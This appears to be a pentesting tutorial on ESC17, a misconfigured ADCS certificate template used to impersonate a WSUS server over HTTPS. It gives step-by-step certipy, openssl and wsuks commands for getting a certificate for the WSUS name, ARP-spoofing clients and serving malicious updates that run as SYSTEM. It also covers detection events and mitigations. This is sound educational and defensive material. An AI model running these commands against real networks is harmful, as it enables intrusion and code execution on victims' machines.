ESC17 ADCS: MITM attack on WSUS clients over HTTPS

ESC17 ADCS: How Manageable SANs Compromise WSUS over HTTPS #

ESC17 is the 17th ADCS privilege escalation technique: template with Enrollee Supplies Subject enabled that allow you to control the SAN of a certificate to have it issued for any internal domain name, not only to impersonate a user. The practical target demonstrated so far is WSUS, including over HTTPS — but only if The attacker can also intercept/redirect traffic to the impersonated service, and only if that service does not perform certificate pinning.

Note: ESC17 is not a CVE and is not an official Microsoft classification. It is the name that two researchers (DigiTrace) proposed for an attack chain based on misconfigured ADCS templates, later adopted by Certipy in its enumeration. It does not indicate a Windows bug, but a configuration error.

Research timeline #

Credit for the initial discovery (ADCS certificate impersonating WSUS) goes to Coontz/TrustedSec ; DigiTrace generalized the pattern and gave it a systematic name.

Complete technical definition #

A “Server Authentication” EKU is not enough to declare an ESC17 template. The correct definition, as defined in the Certipy documentation itself:

ESC17 addresses SAN control , which allows certificates to be requested for arbitrary domain names used to establish TLS channels. WSUS is the target demonstrated so far, but theoretically any domain name can be targeted—standard TLS protections such as certificate pinning still apply.

Exploit-compatible EKUs aren't just Server Authentication. The following are also at risk:

• Server Authentication (1.3.6.1.5.5.7.3.1) — the case demonstrated with WSUS
• Any Purpose (2.5.29.37.0) — implicitly also includes Server Authentication, in addition to all other uses
• Template without EKU configured — equivalent to “Any Purpose” in the enrollment logic, same exposition

The full combination that makes a template vulnerable:

Enrollee Supplies Subject: True
EKU: Server Authentication (o Any Purpose, o nessun EKU)
Enrollment accessibile a un gruppo ampio (es. Domain Users)
Requires Manager Approval: False
Authorized Signatures Required: 0
Template pubblicato e abilitato sulla CA

Is one of these controls missing? The template isn't (yet) usable in this way—but it's worth keeping an eye on anyway.

ESC1 vs ESC17 — difference in a table #

Actual impact — depends on the target #

ESC17 doesn't automatically lead to Domain Admin. As with ESC8/ESC11, the impact depends on what you can impersonate and who connects to it:

Real prerequisites #

Both conditions are met :

• A vulnerable ESC17 template rollable by the attacker
• A position that allows traffic to be intercepted or redirected towards the impersonated service — it is not necessary to be on the same L2 segment. Concrete options include:
  • ARP spoofing (requires same network segment)
  • Fake IPv6 Router Advertisements (e.g. mitm6, requires same segment)
  • DNS poisoning or DNS record modification (can also work remotely if you have access to the internal DNS)
  • Checking a switch, router or firewall on the path
  • Access to a hypervisor hosting affected clients or servers
  • Compromise of a gateway or other network point in the path
• An actual WSUS server configured and in use from the target client

Complete discovery of the WSUS server #

It's not enough to check UseWUServer. Also retrieves hostname, protocol, and port:

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUStatusServer
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v UseWUServer

If you only have domain credentials (no RDP/physical access to the client), wsuks includes a discovery-only mode via GPO:

wsuks -u 'hackita' -p 'Hackita123' -d 'hackita.lab' --dc-ip 10.10.10.50 --only-discover

Standard WSUS ports to keep in mind: 8530/TCP for HTTP, 8531/TCP for HTTPS.

Testing ESC17 with Certipy — Step by Step #

Step 1 — ADCS Enumeration #

certipy find -u 'hackita@hackita.lab' -p 'Hackita123' -dc-ip 10.10.10.50 -vulnerable -enabled

In the output search (schematized):

Certificate Templates
  0
    Template Name                  : WebServerTemplate
    Enabled                        : True
    Client Authentication          : False
    Server Authentication          : True
    Enrollee Supplies Subject      : True
    Requires Manager Approval      : False
    Authorized Signatures Required : 0
    Permissions
      Enrollment Permissions
        Enrollment Rights          : HACKITA.LAB\Domain Users
    [+] User Enrollable Principals : HACKITA.LAB\Domain Users

Also check out the templates with Any Purpose: True o Extended Key Usage empty — fall into the same pattern even if “Server Authentication” is not explicitly listed.

For more convenient analysis on large numbers of templates, use structured output:

certipy find -u 'hackita@hackita.lab' -p 'Hackita123' -dc-ip 10.10.10.50 -vulnerable -json

and then filter with jq the templates with Enrollee Supplies Subject enabled and list who can enroll:

jq -r '.["Certificate Templates"][] | select(.["Enrollee Supplies Subject"] and .Enabled) | "\(.["Template Name"])\n" + (.Permissions["Enrollment Permissions"]["Enrollment Rights"] | map(" " + .) | join("\n")) + "\n"' certipy_output.json

Especially useful if your version of Certipy doesn't yet have the explicit ESC17 label: this filter still finds the correct candidates at a glance.

Step 2 — Request the certificate with the checked SAN #

certipy req -u 'hackita@hackita.lab' -p 'Hackita123' -dc-ip 10.10.10.50 -target 'CA.HACKITA.LAB' -ca 'HACKITA-CA' -template 'WebServerTemplate' -subject 'CN=wsus.hackita.lab' -dns 'wsus.hackita.lab' -out 'wsus.hackita.lab.pfx'

The flag -dns This is what really matters — it ensures that the certificate is valid for the real DNS name of the service being impersonated. -subject also aligns the Common Name, -out Set the output file name.

Expected output:

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with DNS Host Name 'wsus.hackita.lab'
[*] Saving certificate and private key to 'wsus.hackita.lab.pfx'

CERTSRV_E_TEMPLATE_DENIEDYou don't have enrollment permissions — double check [+] User Enrollable Principals.

Step 3 — Verify what the certificate actually contains #

Don't just stop at the SAN — also check the EKU, validity, and issuer:

openssl pkcs12 -in wsus.hackita.lab.pfx -nodes -passin pass: | openssl x509 -noout -subject -issuer -serial -dates -ext subjectAltName -ext extendedKeyUsage

Output verification:

SAN DNS corretto (wsus.hackita.lab)
EKU Server Authentication presente
Issuer = la CA interna aziendale
Validità temporale coerente

Conversion to PEM (required for wsuks):

openssl pkcs12 -in wsus.hackita.lab.pfx -out wsus.hackita.lab.pem -nodes -passin pass:

The two distinct chains: relay vs code execution #

The research describes two different exploitation paths, with very different impacts:

ESC17 → falso WSUS HTTPS → NTLM relay          → autenticazione rubata verso un altro target
ESC17 → falso WSUS HTTPS → injection di update → esecuzione come SYSTEM sul client

Coontz's original work primarily demonstrated the first path (relay). DigiTrace demonstrated that the same certificate could be used to achieve the second, much more impactful, path: intercepting real WSUS traffic and serving a malicious update.

Important clarification on the payload: the track used (PsExec64.exe) it's a legitimate executable signed by Microsoft/SysInternals —This is precisely why it passes the WSUS signature check. The attacker doesn't sign anything of their own: they combine PsExec with a malicious PowerShell command or script, executed with the privileges with which WSUS applies updates (SYSTEM).

Operational command with wsuks #

sudo wsuks -t 10.10.10.100 --WSUS-Server wsus.hackita.lab --tls-cert wsus.hackita.lab.pem

• -t — IP of the victim client
• --WSUS-Server — DNS name of the WSUS server to impersonate (must match the SAN of the certificate)
• --tls-cert — the PEM certificate obtained in Step 3 (support present from wsuks v1.1.0 onwards)

The tool starts the fake WSUS server in TLS on port 8531 , performs ARP spoofing automatically, and waits for the next client poll — which on Windows can take up to 24 hours.

Detection #

There is no dedicated Event ID “ESC17”, but the Certification Authority generates useful events if auditing is enabled (auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable):

For ESC17 specifically, correlate 4886/4887 with:

• template known as sensitive (with Enrollee Supplies Subject + EKU compatible)
• non-regular applicant for that template
• SAN DNS different from the requester's hostname — this is the most specific indicator: a normal user requesting a certificate with SAN wsus.hackita.lab it is extremely suspicious
• SAN that matches critical service names (WSUS, SCCM, endpoint manager, VPN, LDAPS)
• request coming from any workstation rather than from an authorized provisioning system

On the network/client side, add:

• sudden changes in DNS resolution of the WSUS name
• WSUS certificate with serial/thumbprint different than expected
• duplicate ARP responses for the same IP
• IPv6 Router Advertisement from Unauthorized Hosts
• connections on port 8531 to an IP other than the official WSUS server IP
• anomalous events in the log Microsoft-Windows-WindowsUpdateClient/Operational

Concrete mitigations #

On the ADCS template (the part that really matters):

• Revise each template with Enrollee Supplies Subject: True, whatever the EKU — including WebServer, SubCA, Any Purpose and templates without explicit EKU
• Disable “Enrollee Supplies Subject” where not needed, or require manager approval + authorized signatures
• Restrict enrollment/autoenrollment to specific groups — avoid Authenticated Users/Domain Users on template with this pattern
• Remove unused templates from the CA
• Periodically inventory the SANs issued for sensitive infrastructure names (WSUS, SCCM, VPN, etc.)
• Treat CA as an asset Tier 0

On the network side (doesn't solve the root problem, but breaks some variants of the chain):

• Anti-ARP-spoofing defenses (Dynamic ARP Inspection on managed switches)
• Disable IPv6 where it is not needed, or use RA Guard, to cut off the path to mitm6
• Network segmentation between clients and management infrastructure (WSUS, SCCM, etc.)

About WSUS specifically: there's no WSUS-side configuration that can inactivate a fraudulent certificate issued by the corporate CA—the protocol doesn't support trust-on-first-use. HTTPS is still required (it's the minimum requirement), but the real protection is upstream, in the template.

Troubleshooting #

The certificate is rejected during testing. Does the SAN exactly match the expected hostname? Is the certificate issued by the CA that the client already has in its trust store? Is the EKU Server Authentication actually present?

WSUS client still does not download updates from the fake server

gpresult /r
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v UseWUServer

Se UseWUServer is not 1, the client does not use WSUS — no certificate resolves the issue.

The template is not vulnerable in certipy find Check individually: Enrollment Rights, Requires Manager Approval (must be False), Authorized Signatures Required (must be 0), Enabled (published on the CA), Exact EKU configured.

FAQ #

Is using HTTPS on WSUS enough to be secure? No—HTTPS isn't enough if an attacker can obtain a "legitimate" certificate for the WSUS server name from the real internal CA.

Does certificate pinning block ESC17? It can prevent impersonation when the client verifies a specific certificate or public key instead of generically trusting the CA chain. However, it's not a universally configurable protection for WSUS, and its applicability depends on the target service—it's not a one-size-fits-all solution.

Does ESC17 require access to the same VLAN as the victim client? No, only for ARP spoofing/mitm6. If DNS, switch, router, or hypervisor control is involved, the required location may be different — see the prerequisites section.

Is WSUS still relevant if Microsoft has deprecated it? Yes. WSUS was deprecated in September 2024 (no new features), but it remains fully supported through the Windows Server 2025 lifecycle—approximately 2034-2035. Many enterprise environments continue to use it, and ConfigMgr/SCCM uses it internally.

Conclusion #

ESC17 confirms a general principle in ADCS hardening: the security of a template is not measured by narrowing down just one field (the EKU) and declaring it “done” — the complete combination of Enrollee Supplies Subject, EKU, enrollment rights, manager approval and required signatures.

The technique is already mature enough to be finished in a Hack The Box machine (tag esc17/wsuks/wsus-hijack) — a sign that it is worth knowing it well also for OSCE3/AD-oriented certifications, not only in the real pentesting environment.

Primary source and complete technical insights: DigiTrace — Using ADCS to Attack HTTPS-Enabled WSUS Clients.

To continue the study: ESC1 , ESC8 , ADCS ESC1-ESC16 complete guide , active-directory , windows-privilege-escalation.